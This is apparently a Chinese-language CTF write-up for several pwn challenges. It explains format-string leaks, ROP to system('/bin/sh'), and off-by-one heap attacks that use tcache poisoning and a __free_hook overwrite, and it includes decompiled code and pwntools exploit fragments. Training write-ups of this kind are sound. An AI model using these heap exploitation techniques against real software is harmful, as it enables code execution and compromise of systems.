pwnpwn

简单的格式化字符串漏洞由于程序本身会打印一个当前地址,只需要减去当前函数的偏移即可获取elf基地址

通过格式化字符串漏洞泄露canary

最后用ROPgadget寻找可用gadget,用ret,劫持执行流,pop rdi ;ret传参”bin/sh”,再进入system函数

bitfile

漏洞出现在edit中,因为在读入时多出了一个字符,所以造成了off-by-one 漏洞。

观察代码,可以先泄露tchec地址,向tcache->counts[tc_idx]写入7,即填满,然后在通过构造堆重叠泄露出unsortbin,从而进行攻击。

  v7 = __readfsqword(0x28u);
  __printf_chk(1LL, "Index: ");
  __isoc99_scanf(&unk_1054, &v6);
  v0 = v6;
  if ( v6 <= 0x1F )
  {
    if ( ptrs[v6] )
    {
      __printf_chk(1LL, "Content: ");
      v1 = sizes[v0];
      v2 = (_BYTE *)ptrs[v0];
      max_size = v1 + 1;
      if ( max_size )
      {
        v4 = &v2[max_size];
        do
        {
          read(0, v2, 1uLL);
          if ( *v2 == 10 )
            break;
          ++v2;
        }
        while ( v2 != v4 );
      }
    }
  }
  return __readfsqword(0x28u) ^ v7;
}

又因为在add函数中限制了chunk的大小,所以我们要通过合并堆从而泄露libc.

unsigned __int64 add()
{
  size_t v0; // rbx
  size_t size_; // rbp
  void *v3; // rax
  size_t size; // [rsp+0h] [rbp+0h] BYREF
  unsigned __int64 vars8; // [rsp+8h] [rbp+8h]

  vars8 = __readfsqword(0x28u);
  __printf_chk(1LL, "Index: ");
  __isoc99_scanf(&unk_1054, &size);
  v0 = size;
  if ( size <= 0x1F && !ptrs[size] )
  {
    __printf_chk(1LL, "Size: ");
    __isoc99_scanf(&unk_1054, &size);
    size_ = size;
    if ( size <= 0x50 )
    {
      v3 = malloc(size);
      if ( v3 )
      {
        ptrs[v0] = v3;
        sizes[v0] = size_;
        puts("Done!");
      }
      else
      {
        puts("allocate failed");
      }
    }
  }
  return __readfsqword(0x28u) ^ vars8;
}

申请两个tcache,重新申请一个再泄露出tcache地址,先利用tcache_bin打印出tcache的地址。

rm(0)
md(2,b'A' * 0x48 + p8(0x50 + 0x51))
gdb.attach(io)
rm(4)              #chunk 3 is 0xa1 ;
#gdb.attach(io)
ad(0, 0x48)
dp(0)
ru('Content: ')
leak = u64(ru('\n').ljust(8, b'\x00'))  #tcache addr
heap = leak - 0x260 + 0x10 + 8   #to chunk first

通过溢出chunk(5)修改chunk(6)的size,形成堆重叠。将tcache->counts[tc_idx]的地址写入FD,下下个堆块就会分配到此处。

将idx设置为7,那么0xa0大小的chunk将会由unsortbin管理

rm(3)
#gdb.attach(io)
rm(11) # make 0x50 more leng

md(5,b'B' * 0x28 + p8(0x30 + 0x31))
rm(6)
rm(7)
ad(6, 0x50)
md(6, b'A' * 0x28 + p64(0x31) + p64(heap) + b'\n') 

ad(3, 0x28)
ad(4, 0x28)      #018

md(4, p64(7) + b'\n') # set 0xa0 chunk number as 7
#gdb.attach(io)

md(8,b'C' * 0x48 + p8(0x50 + 0x51))
rm(9)
#gdb.attach(io)
ad(9, 0x38)
dp(9)

泄露libc, 将chunk(9)的size改为0xa1,形成unsortbin,然后再次malloc,通过打印,并计算出libc基址

md(8,b'C' * 0x48 + p8(0x50 + 0x51))
rm(9)

ad(9, 0x38)
dp(9)

leak = u64(ru('\x7f')[-5:] + b'\x7f\x00\x00')     #libc_base-get
libc_base = leak  - libc.sym['__malloc_hook'] - 240 - 0x10
li('leak: ' + hex(leak))
li('libc_base: ' + hex(libc_base)) 

get_shell

通过同样的方式,溢出修改(13)的size,free(13) free(14)形成堆重叠,再malloc一个chunk使得可以修改(14)的fd 为 __free_hook ,再进行malloc,向__free_hook中写入system 。顺便将一个chunk写入(“/bin/sh\x00”),将其free即可

old_school && old_school_revenge

依然是一个off-by-one,但是限制了大小,所以我们需要通过合并堆来形成unsortbin ,从而泄露libc

先创建若干堆,然后free掉7个填充满tchack

for i in range(7):
    ad(i,0x80)

ad(7,0x80)
ad(8,0x78)
ad(9,0x78)
ad(10,0x80)
ad(11,0x70)
ad(12,0x70)

for i in range(7):
    rm(i)

利用chunk(9)来修改chunk(10)的pre_size,然后free(7),free(10),从而使得7–>10进行合并,之后可以切割unsortbin来进行泄露。

md(9, 'A' * 0x70 + p64(0x90 + 0x80 + 0x80) + '\x90')
rm(9)
rm(10)

ad(0, 0x60) 
ad(1, 0x10) 
dp(8)
leak = u64(ru('\x7f')[-5:] + '\x7f\x00\x00')
libc_base = leak  - libc.sym['__malloc_hook'] - 96 - 0x10

由于之前我们的chunk结构,所以我们选择在chunk(8),chunk(9)进行写入unsortbin。
因为chunk(8)的大小为0x78,为了溢出至chunk(9),我们需要malloc一个大chunk,从而可以修改到chunk(9)的FD

malloc后,往该堆填入数据直到chunk(9)的FD,写入__free_hook.

ad(2,0xa0)

payload = b'B'*0x80 + p64(__free_hook)+ p64(0) + b'\n'
md(2,payload)
#gdb.attach(io)
ad(4,0x70)
md(4,'/bin/sh\x00\n')

ad(5,0x70)
md(5,p64(system)+b'\n')

rm(4)

之后就按照流程进入system即可。